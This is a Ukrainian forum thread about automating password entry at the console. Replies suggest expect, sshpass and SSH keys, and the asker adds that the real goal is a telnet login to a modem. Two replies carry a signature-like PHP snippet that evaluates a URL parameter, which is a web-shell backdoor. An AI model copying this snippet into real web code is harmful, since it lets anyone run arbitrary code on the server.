1 Востаннє редагувалося Адріян Ігорович (27.01.2013 20:50:16)

Тема: Автоматизація введення паролю у консолі.

Привіт. Цікавть така штука, чи можливо за допомогою bash/shell автоматизувати введення рутівського пассворда ну або взагалі
де потрібно вводити пасс у консолі.

2

Re: Автоматизація введення паролю у консолі.

Replace: Із-за порушень правил повідомлення видалено.

Віддамся на один вечір в хороші дівочі руки.. не дорого, в у.о. .. Якщо сподобається, то залишуся безкоштовно назавжди..

3

Re: Автоматизація введення паролю у консолі.

Може expect?

Description-en: Automates interactive applications
Expect is a tool for automating interactive applications according to a script.
Following the script, Expect knows what can be expected from a program and what
the correct response should be. Expect is also useful for testing these same
applications. And by adding Tk, you can also wrap interactive applications in
X11 GUIs. An interpreted language provides branching and high-level control
structures to direct the dialogue. In addition, the user can take control and
interact directly when desired, afterward returning control to the script.
Homepage: http://sourceforge.net/projects/expect/

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Адріян Ігорович1

4

Re: Автоматизація введення паролю у консолі.

Ну або сюди http://stackoverflow.com/questions/5514 … word-entry . Там же є альтернатива expect і приклад коду.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

5

Re: Автоматизація введення паролю у консолі.

з одної сторони це досить не безпечно але з іншої якщо все правильно використовувати тоді цей варіант допустимий. Юзайте
expect у деяких випадках, для ssh я юзаю sshpass
а для синхронізації по rsync налаштовано демон якому передається ключ
Для ссш теж ключі можна налаштувати ;)

6 Востаннє редагувалося Vo_Vik (28.01.2013 18:43:17)

Re: Автоматизація введення паролю у консолі.

Гм, можна ще сам до себе конектитись по ssh рутом з приватними ключами) - але то збоченство).

Re: Автоматизація введення паролю у консолі.

HetmanNet написав:

Replace: Із-за порушень правил повідомлення видалено.

Офтоп, але :D
Можливо треба було зразу сказати, що автоматичне введення рут пассорда я дав як приклад. Вреалі мені то треба для того щоб автоматом конектитися до модему через telnet.

8

Re: Автоматизація введення паролю у консолі.

Hanter написав:
HetmanNet написав:

Replace: Із-за порушень правил повідомлення видалено.

Офтоп, але :D
Можливо треба було зразу сказати, що автоматичне введення рут пассорда я дав як приклад. Вреалі мені то треба для того щоб автоматом конектитися до модему через telnet.

Хм.. здогадався, що там могло бути..

Віддамся на один вечір в хороші дівочі руки.. не дорого, в у.о. .. Якщо сподобається, то залишуся безкоштовно назавжди..